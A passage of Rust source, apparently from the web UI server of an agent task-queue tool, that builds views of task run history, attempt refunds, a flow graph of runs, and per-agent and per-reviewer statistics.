4573 ended_at: Option<Timestamp>,
4574 end: &'static str,
4576 cause: Option<crate::run::ParkCause>,
4577 label: String,
4579 cost: Option<crate::queue::PassCost>,
4582}
4583
4584impl PassView {
4585 fn of(p: &crate::run::RunPass, settled: Option<&crate::queue::TaskPass>) -> Self {
4586 use crate::run::PassEnd;
4587 let (end, cause, label) = match &p.end {
4588 None => ("open", None, "still open".to_owned()),
4589 Some(PassEnd::Parked { cause }) => ("parked", Some(cause.clone()), cause.label()),
4590 Some(PassEnd::Unrecorded) => (
4591 "unrecorded",
4592 None,
4593 "stopped without recording why (a crash, a kill or a restart; not known)"
4594 .to_owned(),
4595 ),
4596 };
4597 Self {
4598 index: p.index,
4599 resumed: p.resumed,
4600 started_at: p.started_at,
4601 ended_at: p.ended_at,
4602 end,
4603 cause,
4604 label,
4605 cost: settled.map(|t| t.cost),
4606 }
4607 }
4608}
4609
4610#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
4612#[serde(rename_all = "snake_case")]
4613enum RunExit {
4614 Unreadable,
4615 Interrupted,
4617 Parked,
4618 QuotaStall,
4619 ResumedQuotaStall,
4623 Merged,
4624 Ready,
4625 Superseded,
4626 AlreadyInBase,
4629 Stalled,
4631 HeldWithPr,
4633 NoopHeld,
4634 Spent,
4636 InProgress,
4637}
4638
4639#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
4640#[serde(rename_all = "snake_case")]
4641enum AttemptCost {
4642 Spent,
4643 Refunded,
4644 None,
4645 Unknown,
4647}
4648
4649impl RunExit {
4650 fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
4651 let Some(s) = s else {
4652 return Self::Unreadable;
4653 };
4654 let status = s.status;
4655 if resumed_later {
4656 Self::Interrupted
4657 } else if s.parked {
4658 Self::Parked
4659 } else if !status.done() {
4660 Self::InProgress
4661 } else if matches!(status, RunStatus::Merged) {
4662 Self::Merged
4663 } else if matches!(status, RunStatus::Ready) {
4664 Self::Ready
4665 } else if matches!(status, RunStatus::Superseded) {
4666 Self::Superseded
4667 } else if matches!(status, RunStatus::AlreadyInBase) {
4668 Self::AlreadyInBase
4669 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4670 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4671 {
4672 if resumed {
4673 Self::ResumedQuotaStall
4674 } else {
4675 Self::QuotaStall
4676 }
4677 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4678 Self::HeldWithPr
4679 } else if matches!(status, RunStatus::VerifiedNoop) {
4680 Self::NoopHeld
4681 } else if matches!(status, RunStatus::Stalled) {
4682 Self::Stalled
4683 } else {
4684 Self::Spent
4685 }
4686 }
4687
4688 fn cost(self) -> AttemptCost {
4689 match self {
4690 Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
4691 Self::Merged
4692 | Self::Ready
4693 | Self::Stalled
4694 | Self::HeldWithPr
4695 | Self::NoopHeld
4696 | Self::Spent => AttemptCost::Spent,
4697 Self::InProgress => AttemptCost::None,
4698 Self::AlreadyInBase => AttemptCost::Refunded,
4699 Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
4700 AttemptCost::Unknown
4701 }
4702 }
4703 }
4704
4705 fn edge_label(self, status: Option<&str>) -> String {
4707 match self {
4708 Self::Unreadable => "record unreadable".to_owned(),
4709 Self::Interrupted => "interrupted before the run finished".to_owned(),
4710 Self::Parked => "parked, attempt refunded".to_owned(),
4711 Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
4712 Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
4713 Self::Merged => "merged".to_owned(),
4714 Self::Ready => "ready, not merged".to_owned(),
4715 Self::Superseded => "superseded by a later attempt".to_owned(),
4716 Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
4717 Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
4718 Self::HeldWithPr => "blocked, PR left open".to_owned(),
4719 Self::NoopHeld => "verified no-op".to_owned(),
4720 Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
4721 Self::InProgress => "in progress".to_owned(),
4722 }
4723 }
4724
4725 fn explains(self, end: TaskStatus) -> bool {
4728 match self {
4729 Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
4730 Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
4731 Self::Unreadable | Self::Superseded | Self::Ready => true,
4732 _ => end != TaskStatus::Done,
4733 }
4734 }
4735}
4736
4737#[derive(Debug, Serialize)]
4739struct TaskDetailView {
4740 #[serde(flatten)]
4741 task: TaskView,
4742 max_attempts: usize,
4745 history: Vec<TaskRunView>,
4746 passes_total: usize,
4749 runs_distinct: usize,
4751 flow: FlowView,
4752 followup_origin: Option<FollowUpOrigin>,
4754 runs_unreadable: usize,
4756 attempts_note: &'static str,
4758}
4759
4760const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
4761and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
4762on an agent rate limit or was parked for an upgrade. A resumed run appears again in the list as another pass over the same run, so \
4763the entries listed can outnumber the attempts shown after a release or a handed-back attempt.";
4764
4765fn review_branch_of(instruction: &str) -> Option<&str> {
4768 let rest = instruction.strip_prefix("Review the work already on branch `")?;
4769 rest.split('`').next().filter(|b| !b.is_empty())
4770}
4771
4772#[derive(Default)]
4774struct RunSlot<'a> {
4775 n: usize,
4777 resumed: bool,
4779 resumed_later: Option<usize>,
4781 prior: Option<(&'a str, RunStatus)>,
4783 last: bool,
4784 pass: Option<&'a crate::run::RunPass>,
4786 settled: Option<&'a crate::queue::TaskPass>,
4788 pass_n: usize,
4790 passes_of_run: usize,
4791}
4792
4793fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
4796 let RunSlot {
4797 n,
4798 resumed,
4799 resumed_later,
4800 prior,
4801 last,
4802 pass,
4803 settled,
4804 pass_n,
4805 passes_of_run,
4806 } = at;
4807 let short = run::short_of(id).to_owned();
4808 let Some(s) = state else {
4809 return TaskRunView {
4810 n,
4811 id: id.to_owned(),
4812 short,
4813 kind: "unknown",
4814 status: None,
4815 readable: false,
4816 provisional: false,
4817 description:
4818 "This run's record could not be read by this build (written by a different \
4819 magi, or removed), so what kind of attempt it was is unknown."
4820 .to_owned(),
4821 outcome: String::new(),
4822 created_at: None,
4823 pr: None,
4824 exit: RunExit::Unreadable,
4825 attempt: AttemptCost::Unknown,
4826 exit_label: RunExit::Unreadable.edge_label(None),
4827 later_pass: resumed_later,
4828 pass_n,
4829 passes_of_run,
4830 pass: None,
4831 branch: None,
4832 badge: None,
4833 };
4834 };
4835 let branch = review_branch_of(&s.instruction);
4836 let kind = if resumed {
4837 "resume"
4838 } else if branch.is_some() {
4839 "review"
4840 } else if task.solo || s.candidates.len() == 1 {
4841 "solo"
4842 } else {
4843 "competition"
4844 };
4845 let mut description = match kind {
4846 "resume" => {
4847 format!("Resumed run {short}: the same run carried on instead of competing again.")
4848 }
4849 "review" => format!(
4850 "Review the work already on branch `{}`: a review-only pass, no new implementation.",
4851 branch.unwrap_or_default()
4852 ),
4853 "solo" => "Solo run: one implementer straight into review.".to_owned(),
4854 _ => format!(
4855 "Competition: {} candidates judged blind.",
4856 s.candidates.len().max(1)
4857 ),
4858 };
4859 if !resumed && let Some((p, st)) = prior {
4860 description.push_str(&format!(
4861 " A retry: run {p} before it ended {}.",
4862 st.display_label()
4863 ));
4864 }
4865
4866 let status = s.status;
4867 let provisional = matches!(status, RunStatus::Stalled)
4868 || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
4869 let head = if resumed_later.is_some() {
4870 String::new()
4871 } else {
4872 match status {
4873 RunStatus::Merged => "Merged.".to_owned(),
4874 RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
4875 RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
4876 RunStatus::AlreadyInBase => {
4877 "Already in the base: this change landed under other commits, nothing was left to land."
4878 .to_owned()
4879 }
4880 RunStatus::Stalled => {
4881 "Stalled: the judging panel never reached a quorum, so there is no verdict."
4882 .to_owned()
4883 }
4884 RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
4885 RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
4886 RunStatus::VerifiedNoop => {
4887 "Verified no-op: the candidates found nothing to change.".to_owned()
4888 }
4889 other if other.done() => format!("Ended {}.", other.display_label()),
4890 other => format!("In progress ({}).", other.display_label()),
4891 }
4892 };
4893 let view = pass.map(|p| PassView::of(p, settled));
4894 let recorded_end = view
4895 .as_ref()
4896 .filter(|v| matches!(v.end, "parked" | "unrecorded"));
4897 let cost_words = match view.as_ref().and_then(|v| v.cost) {
4898 Some(crate::queue::PassCost::Refunded) => "its attempt was handed back",
4899 Some(crate::queue::PassCost::Spent) => "its attempt stayed counted",
4900 None => "whether its attempt was handed back was not recorded",
4901 };
4902 let pass_note = if passes_of_run > 1 {
4903 format!(
4904 " This is pass {pass_n} of {passes_of_run} over run {short}: one run, resumed, not {passes_of_run} separate runs."
4905 )
4906 } else {
4907 String::new()
4908 };
4909 let why = if let (Some(k), Some(v)) = (resumed_later, recorded_end) {
4910 let cause = match v.end {
4912 "parked" => format!("It was stopped on purpose: {}.", v.label),
4913 _ => format!("It {}.", v.label),
4914 };
4915 format!(
4916 " {cause} {}; pass #{k} resumed the same run.{pass_note}",
4917 capitalise(cost_words)
4918 )
4919 } else if let Some(k) = resumed_later {
4920 let cause = if s.quota.is_empty() {
4927 "the cause was not recorded: a park, a crash or a restart all look the same from here"
4928 } else {
4929 "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
4930 };
4931 format!(
4932 " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
4933 )
4934 } else if s.parked {
4935 match recorded_end.and_then(|v| v.cause.as_ref()) {
4936 Some(cause) => format!(
4937 " Parked at a node boundary ({}); {} and the run resumes.{pass_note}",
4938 cause.label(),
4939 cost_words
4940 ),
4941 None => " Parked at a node boundary; the attempt was handed back and the run resumes."
4942 .to_owned(),
4943 }
4944 } else if !status.done()
4945 || matches!(
4946 status,
4947 RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
4948 )
4949 {
4950 String::new()
4951 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4952 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4953 {
4954 " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
4955 .to_owned()
4956 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4957 " It left a pull request open, so the task was held for a person rather than retried."
4958 .to_owned()
4959 } else if matches!(status, RunStatus::VerifiedNoop) {
4960 " Held for a person to check the claim.".to_owned()
4961 } else if last {
4962 " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
4963 } else {
4964 " It spent an attempt, and the task moved on to the next run.".to_owned()
4965 };
4966 let mut exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
4967 let mut attempt = exit.cost();
4968 let mut exit_label = None;
4969 if let Some(v) = recorded_end.filter(|_| resumed_later.is_some() || s.parked) {
4970 let spent = match v.cost {
4971 Some(crate::queue::PassCost::Refunded) => ", attempt refunded",
4972 Some(crate::queue::PassCost::Spent) => ", attempt counted",
4973 None if resumed_later.is_some() => ", refund not recorded",
4974 None => ", attempt refunded",
4975 };
4976 attempt = match v.cost {
4977 Some(crate::queue::PassCost::Refunded) => AttemptCost::Refunded,
4978 Some(crate::queue::PassCost::Spent) => AttemptCost::Spent,
4979 None if resumed_later.is_some() => AttemptCost::Unknown,
4980 None => attempt,
4981 };
4982 if v.end == "parked" {
4983 exit = RunExit::Parked;
4984 exit_label = Some(match v.cause.as_ref() {
4985 Some(c @ crate::run::ParkCause::Upgrade { .. }) => {
4986 format!("parked for {}{spent}", c.label())
4987 }
4988 Some(c) => format!("parked ({}){spent}", c.label()),
4989 None => format!("parked{spent}"),
4990 });
4991 } else {
4992 exit_label = Some(format!("stopped without a recorded cause{spent}"));
4993 }
4994 }
4995 let exit_label = exit_label.unwrap_or_else(|| exit.edge_label(Some(status.as_str())));
4996 TaskRunView {
4997 n,
4998 id: id.to_owned(),
4999 short,
5000 kind,
5001 status: Some(status.as_str()),
5002 readable: true,
5003 provisional,
5004 description,
5005 outcome: format!("{head}{why}"),
5006 created_at: Some(s.created_at),
5007 pr: s.pr.as_ref().map(|p| p.url.clone()),
5008 exit,
5009 attempt,
5010 exit_label,
5011 later_pass: resumed_later,
5012 pass_n,
5013 passes_of_run,
5014 pass: view,
5015 branch: branch.map(str::to_owned),
5016 badge: None,
5017 }
5018}
5019
5020fn capitalise(s: &str) -> String {
5021 let mut c = s.chars();
5022 c.next().map_or_else(String::new, |f| {
5023 f.to_uppercase().collect::<String>() + c.as_str()
5024 })
5025}
5026
5027#[derive(Debug, Serialize, PartialEq)]
5029struct FlowNode {
5030 key: String,
5032 kind: &'static str,
5034 label: String,
5035 status: Option<&'static str>,
5038 status_of: &'static str,
5041 note: Option<&'static str>,
5043 run_kind: Option<&'static str>,
5044 detail: Option<String>,
5045 decided: bool,
5047 readable: bool,
5048 href: Option<String>,
5049 badge: Option<String>,
5051 started_at: Option<Timestamp>,
5053 time_expected: bool,
5055}
5056
5057#[derive(Debug, Serialize, PartialEq)]
5058struct FlowEdge {
5059 from: String,
5060 to: String,
5061 label: String,
5062 attempt: AttemptCost,
5063}
5064
5065#[derive(Debug, Serialize, PartialEq)]
5066struct FlowView {
5067 nodes: Vec<FlowNode>,
5068 edges: Vec<FlowEdge>,
5069 attempts: usize,
5071 max_attempts: usize,
5072 passes: usize,
5075 runs: usize,
5076}
5077
5078fn task_flow(
5087 task: &Task,
5088 history: &[TaskRunView],
5089 max_attempts: usize,
5090 origin: Option<&FollowUpOrigin>,
5091) -> FlowView {
5092 let max_attempts = task.effective_attempt_limit(max_attempts);
5093 let node = |key: &str, kind, label: String| FlowNode {
5094 key: key.to_owned(),
5095 kind,
5096 label,
5097 status: None,
5098 status_of: "run",
5099 note: None,
5100 run_kind: None,
5101 detail: None,
5102 decided: false,
5103 readable: true,
5104 href: None,
5105 badge: None,
5106 started_at: None,
5107 time_expected: matches!(kind, "start" | "run" | "end"),
5108 };
5109 let mut nodes = Vec::new();
5110 let mut edges: Vec<FlowEdge> = Vec::new();
5111 if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
5113 let mut n = node(
5114 "chat",
5115 "chat",
5116 format!("Chat {}", crate::queue::short(&link.id)),
5117 );
5118 n.href = Some(link.href);
5119 nodes.push(n);
5120 edges.push(FlowEdge {
5121 from: "chat".to_owned(),
5122 to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
5123 label: "queued from chat".to_owned(),
5124 attempt: AttemptCost::None,
5125 });
5126 }
5127 if let Some(o) = origin {
5128 let mut n = match &o.parent {
5129 Some(p) => {
5130 let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
5131 n.status = Some(p.status);
5132 n.status_of = "task";
5133 n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
5134 n.href = Some(p.href.clone());
5135 n
5136 }
5137 None => {
5138 let mut n = node(
5139 "origin",
5140 "followup",
5141 format!("Follow-up of run {}", o.run.short),
5142 );
5143 n.detail = Some("merged run".to_owned());
5144 n.status = o.run.status;
5145 n.href = o.run.href.clone();
5146 if o.run.href.is_none() {
5147 n.readable = false;
5148 n.note = Some("unreadable");
5149 }
5150 n
5151 }
5152 };
5153 n.decided = true;
5154 let from = n.key.clone();
5155 nodes.push(n);
5156 let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
5157 let more = o.findings.len().saturating_sub(shown.len());
5158 let label = match (shown.is_empty(), more) {
5159 (true, _) => "open findings".to_owned(),
5160 (false, 0) => format!("open findings {}", shown.join(", ")),
5161 (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
5162 };
5163 edges.push(FlowEdge {
5164 from,
5165 to: "start".to_owned(),
5166 label,
5167 attempt: AttemptCost::None,
5168 });
5169 }
5170 let mut start = node("start", "start", "Task queued".to_owned());
5171 start.started_at = Some(task.created_at);
5172 nodes.push(start);
5173 let mut prev = "start".to_owned();
5174 let mut prev_exit: Option<(RunExit, String, AttemptCost)> = None;
5175 for (i, h) in history.iter().enumerate() {
5176 let key = format!("run-{}", h.n);
5177 let mut n = node(&key, "run", format!("Run {}", h.short));
5178 n.started_at = h
5181 .readable
5182 .then(|| {
5183 h.pass.as_ref().map(|p| p.started_at).or(if h.pass_n == 1 {
5184 h.created_at
5185 } else {
5186 None
5187 })
5188 })
5189 .flatten();
5190 n.run_kind = Some(h.kind);
5191 n.readable = h.readable;
5192 n.href = Some(format!("#/runs/{}", h.id));
5193 n.decided = h.readable && !h.provisional;
5194 n.detail = h
5195 .branch
5196 .as_ref()
5197 .map(|b| format!("review-only run of branch {b}"));
5198 match h.exit {
5199 RunExit::Unreadable => n.note = Some("unreadable"),
5200 RunExit::Interrupted => n.note = Some("interrupted"),
5201 RunExit::Parked if h.later_pass.is_some() => n.note = Some("parked"),
5204 _ => {
5205 n.status = h.status;
5206 n.badge = h.badge.clone();
5207 if h.provisional {
5208 n.note = Some("no verdict");
5209 }
5210 }
5211 }
5212 let into = match h.kind {
5213 "review" => Some(format!(
5214 "review-only run of branch {}",
5215 h.branch.as_deref().unwrap_or("?")
5216 )),
5217 "resume" => Some("resume the same run".to_owned()),
5218 _ if i > 0 => Some("retry".to_owned()),
5219 _ => None,
5220 };
5221 let attempt = prev_exit.as_ref().map_or(AttemptCost::None, |p| p.2);
5222 let label = match (prev_exit, into) {
5223 (Some((_, l, _)), Some(i)) => format!("{l} \u{2192} {i}"),
5224 (Some((_, l, _)), None) => l,
5225 (None, Some(i)) => i,
5226 (None, None) => "claimed".to_owned(),
5227 };
5228 edges.push(FlowEdge {
5229 from: prev.clone(),
5230 to: key.clone(),
5231 label,
5232 attempt,
5233 });
5234 prev_exit = Some((h.exit, h.exit_label.clone(), h.attempt));
5235 prev = key;
5236 nodes.push(n);
5237 }
5238 let mut end = node("end", "end", task.status.as_str().to_owned());
5239 end.status = Some(task.status.as_str());
5240 end.status_of = "task";
5241 if task.status == TaskStatus::Held {
5244 end.started_at = task.held_at;
5245 }
5246 nodes.push(end);
5247 let (label, attempt) = match prev_exit {
5248 None => (
5249 format!("no run yet \u{2192} {}", task.status.as_str()),
5250 AttemptCost::None,
5251 ),
5252 Some((e, l, cost)) if e.explains(task.status) => {
5253 (format!("{l} \u{2192} {}", task.status.as_str()), cost)
5254 }
5255 Some((_, _, cost)) => (
5256 format!("closed by hand: task is {}", task.status.as_str()),
5257 cost,
5258 ),
5259 };
5260 edges.push(FlowEdge {
5261 from: prev,
5262 to: "end".to_owned(),
5263 label,
5264 attempt,
5265 });
5266 FlowView {
5267 nodes,
5268 edges,
5269 attempts: task.attempts,
5270 max_attempts,
5271 passes: history.len(),
5272 runs: distinct_runs(&task.runs),
5273 }
5274}
5275
5276fn distinct_runs(runs: &[String]) -> usize {
5278 let mut seen: Vec<&str> = Vec::new();
5279 for r in runs {
5280 if !seen.contains(&r.as_str()) {
5281 seen.push(r);
5282 }
5283 }
5284 seen.len()
5285}
5286
5287fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
5289 let mut slots = Vec::new();
5290 let mut seen = Vec::new();
5291 for run_id in &task.runs {
5292 if seen.contains(&run_id) {
5293 continue;
5294 }
5295 seen.push(run_id);
5296 let state = read(run_id);
5297 let mine: Vec<_> = state.as_ref().map_or_else(Vec::new, |s| {
5298 s.passes
5299 .iter()
5300 .filter(|p| {
5301 p.task_entry
5302 || task
5303 .passes
5304 .iter()
5305 .any(|t| t.run == *run_id && t.pass_index == p.index)
5306 })
5307 .cloned()
5308 .collect()
5309 });
5310 let legacy_count = task.runs.iter().filter(|r| *r == run_id).count();
5311 let total = legacy_count.max(mine.len());
5312 let offset = total - mine.len();
5313 for k in 0..total {
5314 let position = task
5317 .runs
5318 .iter()
5319 .enumerate()
5320 .filter(|(_, r)| *r == run_id)
5321 .nth(k.min(legacy_count - 1))
5322 .unwrap()
5323 .0;
5324 slots.push((
5325 run_id,
5326 state.clone(),
5327 k.checked_sub(offset).and_then(|i| mine.get(i)).cloned(),
5328 position,
5329 ));
5330 }
5331 }
5332 if distinct_runs(&task.runs) == task.runs.len() && slots.len() > task.runs.len() {
5333 slots.sort_by_key(|(_, state, pass, _)| {
5334 pass.as_ref()
5335 .map(|p| p.started_at)
5336 .or_else(|| state.as_ref().map(|s| s.created_at))
5337 .map_or((true, task.created_at), |at| (false, at))
5338 });
5339 } else {
5340 slots.sort_by_key(|(_, _, _, position)| *position);
5341 }
5342 let mut history = Vec::with_capacity(slots.len());
5343 let mut seen: Vec<&str> = Vec::new();
5344 let mut prior: Option<(&str, RunStatus)> = None;
5345 for (i, (run_id, state, pass, _)) in slots.iter().enumerate() {
5346 let k = seen.iter().filter(|r| **r == run_id.as_str()).count();
5347 let resumed = k > 0;
5348 seen.push(run_id);
5349 let total = slots.iter().filter(|(id, _, _, _)| id == run_id).count();
5350 let pass = pass.as_ref();
5351 let settled = pass.and_then(|p| {
5352 task.passes
5353 .iter()
5354 .find(|t| t.run == **run_id && t.pass_index == p.index)
5355 });
5356 history.push(task_run_view(
5357 run_id,
5358 state.as_ref(),
5359 RunSlot {
5360 n: i + 1,
5361 resumed,
5362 resumed_later: slots[i + 1..]
5363 .iter()
5364 .position(|(id, _, _, _)| id == run_id)
5365 .map(|off| i + off + 2),
5366 prior,
5367 last: i + 1 == slots.len(),
5368 pass,
5369 settled,
5370 pass_n: k + 1,
5371 passes_of_run: total,
5372 },
5373 task,
5374 ));
5375 if let Some(s) = &state {
5376 prior = Some((run::short_of(run_id), s.status));
5377 }
5378 }
5379 history
5380}
5381
5382fn mark_badges(ui: &Ui, task: &Task, history: &mut [TaskRunView]) {
5385 if history.iter().all(|h| h.exit == RunExit::Interrupted) {
5386 return;
5387 }
5388 let (_, claimed, _) = run_row_inputs(ui);
5389 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
5390 for h in history
5391 .iter_mut()
5392 .filter(|h| h.readable && h.exit != RunExit::Interrupted)
5393 {
5394 let Ok(state) = read_run(&ui.runs, &h.id) else {
5395 continue;
5396 };
5397 if state.status.done() {
5398 continue;
5399 }
5400 let live = state.liveness_with(
5401 claimed.contains(&h.id),
5402 |p| probe.borrow_mut().status(p),
5403 |p| probe.borrow_mut().started_at(p),
5404 );
5405 let waiting = !ui.questions.open_for(&h.id).is_empty();
5406 let display = run_display_status(&state, waiting, live);
5407 let word = run_badge_status(&state, &display, live, task.successor_of(&h.id).is_some());
5408 if matches!(word.as_str(), "stale" | "superseded")
5409 || (live == crate::run::Liveness::Dead && matches!(word.as_str(), "parked" | "waiting"))
5410 {
5411 h.badge = Some(word);
5412 }
5413 }
5414}
5415
5416async fn task_detail(
5417 State(ui): State<Arc<Ui>>,
5418 Path(id): Path<String>,
5419) -> ApiResult<Json<TaskDetailView>> {
5420 blocking(move || {
5421 let id = resolve_task(&ui.queue, &id)?;
5422 let task = ui
5423 .queue
5424 .get(&id)
5425 .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
5426 let inv = crate::blockers::Inventory::load(&ui.queue, &ui.questions);
5427 let mut history = task_history(&task, |id| read_run(&ui.runs, id).ok());
5428 mark_badges(&ui, &task, &mut history);
5429 let runs_unreadable = history.iter().filter(|h| !h.readable).count();
5430 let max_attempts = task.effective_attempt_limit(daemon::Opts::default().max_attempts);
5431 let origin = task.followup.as_ref().map(|fu| {
5432 followup_origin(
5433 fu,
5434 |tid| ui.queue.get(tid).ok(),
5435 |rid| read_run(&ui.runs, rid).ok(),
5436 )
5437 });
5438 let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
5439 Ok(Json(TaskDetailView {
5440 max_attempts,
5441 flow,
5442 followup_origin: origin,
5443 passes_total: history.len(),
5444 runs_distinct: distinct_runs(&task.runs),
5445 history,
5446 runs_unreadable,
5447 attempts_note: ATTEMPTS_NOTE,
5448 task: TaskView::with_inventory(task, &inv),
5449 }))
5450 })
5451 .await
5452}
5453
5454#[derive(Debug, Serialize)]
5458struct RateView {
5459 pct: f64,
5460 denominator: usize,
5461}
5462
5463impl RateView {
5464 fn of(numerator: usize, denominator: usize) -> Option<Self> {
5465 (denominator > 0).then(|| Self {
5466 pct: 100.0 * numerator as f64 / denominator as f64,
5467 denominator,
5468 })
5469 }
5470}
5471
5472#[derive(Debug, Serialize)]
5477struct StatsTotalsView {
5478 runs: usize,
5479 merged: usize,
5480 ready: usize,
5481 blocked: usize,
5482 failed: usize,
5483 stalled: usize,
5484 verified_noop: usize,
5485 superseded: usize,
5486 in_progress: usize,
5487 completion_rate: Option<RateView>,
5488 tallied: usize,
5489 split: usize,
5490 split_rate: Option<RateView>,
5491 deliberated: usize,
5492 minds_changed: usize,
5493 converged: usize,
5494 review_rounds: usize,
5495}
5496
5497impl From<&stats::Totals> for StatsTotalsView {
5498 fn from(t: &stats::Totals) -> Self {
5499 Self {
5500 runs: t.runs,
5501 merged: t.merged,
5502 ready: t.ready,
5503 blocked: t.blocked,
5504 failed: t.failed,
5505 stalled: t.stalled,
5506 verified_noop: t.verified_noop,
5507 superseded: t.superseded,
5508 in_progress: t.in_progress,
5509 completion_rate: RateView::of(t.merged + t.ready, t.runs),
5510 tallied: t.tallied,
5511 split: t.split,
5512 split_rate: RateView::of(t.split, t.tallied),
5513 deliberated: t.deliberated,
5514 minds_changed: t.minds_changed,
5515 converged: t.converged,
5516 review_rounds: t.review_rounds,
5517 }
5518 }
5519}
5520
5521#[derive(Debug, Serialize)]
5523struct AgentStatsView {
5524 agent: String,
5525 entered: usize,
5526 wins: usize,
5527 empty: usize,
5528 win_rate: Option<RateView>,
5529 competitive_entered: usize,
5530 competitive_wins: usize,
5531 competitive_win_rate: Option<RateView>,
5532 solo_entered: usize,
5533 solo_adopted: usize,
5534 solo_adoption_rate: Option<RateView>,
5535}
5536
5537impl From<&stats::AgentStats> for AgentStatsView {
5538 fn from(a: &stats::AgentStats) -> Self {
5539 Self {
5540 agent: a.agent.clone(),
5541 entered: a.entered,
5542 wins: a.wins,
5543 empty: a.empty,
5544 win_rate: RateView::of(a.wins, a.entered),
5545 competitive_entered: a.competitive_entered,
5546 competitive_wins: a.competitive_wins,
5547 competitive_win_rate: RateView::of(a.competitive_wins, a.competitive_entered),
5548 solo_entered: a.solo_entered,
5549 solo_adopted: a.solo_adopted,
5550 solo_adoption_rate: RateView::of(a.solo_adopted, a.solo_entered),
5551 }
5552 }
5553}
5554
5555#[derive(Debug, Serialize)]
5559struct ReviewerStatsView {
5560 agent: String,
5561 rounds: usize,
5562 seated: usize,
5563 submitted: usize,
5564 adopted: usize,
5565 unique: usize,
5566 timeouts: usize,
5567 adopted_per_round: Option<f64>,
5568 precision: Option<RateView>,
5569 unique_rate: Option<RateView>,
5570 timeout_rate: Option<RateView>,
5571}
5572
5573impl From<&stats::ReviewerStats> for ReviewerStatsView {
5574 fn from(r: &stats::ReviewerStats) -> Self {
5575 Self {
5576 agent: r.agent.clone(),
5577 rounds: r.rounds,
5578 seated: r.seated,
5579 submitted: r.submitted,
5580 adopted: r.adopted,
5581 unique: r.unique,
5582 timeouts: r.timeouts,
5583 adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
5584 precision: RateView::of(r.adopted, r.submitted),
5585 unique_rate: RateView::of(r.unique, r.submitted),
5586 timeout_rate: RateView::of(r.timeouts, r.seated),
5587 }
5588 }
5589}
5590
5591#[derive(Debug, Serialize)]
5597struct AdvisorStatsView {
5598 agent: String,
5599 seated: usize,
5600 proposed: usize,
5601 absent: usize,
5602 faint: usize,
5603 strong: usize,
5604 reflection_rate: Option<RateView>,
5605}
5606
5607impl From<&stats::AdvisorStats> for AdvisorStatsView {
5608 fn from(a: &stats::AdvisorStats) -> Self {
5609 Self {
5610 agent: a.agent.clone(),
5611 seated: a.seated,
5612 proposed: a.proposed,
5613 absent: a.absent,
5614 faint: a.faint,
5615 strong: a.strong,
5616 reflection_rate: RateView::of(a.strong, a.proposed),
5617 }
5618 }
5619}
5620
5621#[derive(Debug, Serialize)]
5623struct E2eStatsView {
5624 rounds: usize,
5625 failures: usize,
5626 sole_detections: usize,
5627 deferred: usize,
5628 sole_rate: Option<RateView>,
5629}
5630
5631impl From<&stats::E2eStats> for E2eStatsView {
5632 fn from(e: &stats::E2eStats) -> Self {
5633 Self {
5634 rounds: e.rounds,
5635 failures: e.failures,
5636 sole_detections: e.sole_detections,
5637 deferred: e.deferred,
5638 sole_rate: RateView::of(e.sole_detections, e.failures),
5639 }
5640 }
5641}
5642
5643#[derive(Debug, Serialize)]
5651struct ReleaseBumpStatsView {
5652 merged: usize,
5653 recorded: usize,
5654 pr_opened: usize,
5655 automerge_enabled: usize,
5656 merged_directly: usize,
5657 needs_attention: usize,
5658 clean: usize,
5659 coverage_rate: Option<RateView>,
5660 automerge_rate: Option<RateView>,
5661 attention_rate: Option<RateView>,
5662}
5663
5664impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
5665 fn from(b: &stats::ReleaseBumpStats) -> Self {
5666 Self {
5667 merged: b.merged,
5668 recorded: b.recorded,
5669 pr_opened: b.pr_opened,
5670 automerge_enabled: b.automerge_enabled,
5671 merged_directly: b.merged_directly,
5672 needs_attention: b.needs_attention,
5673 clean: b.clean(),
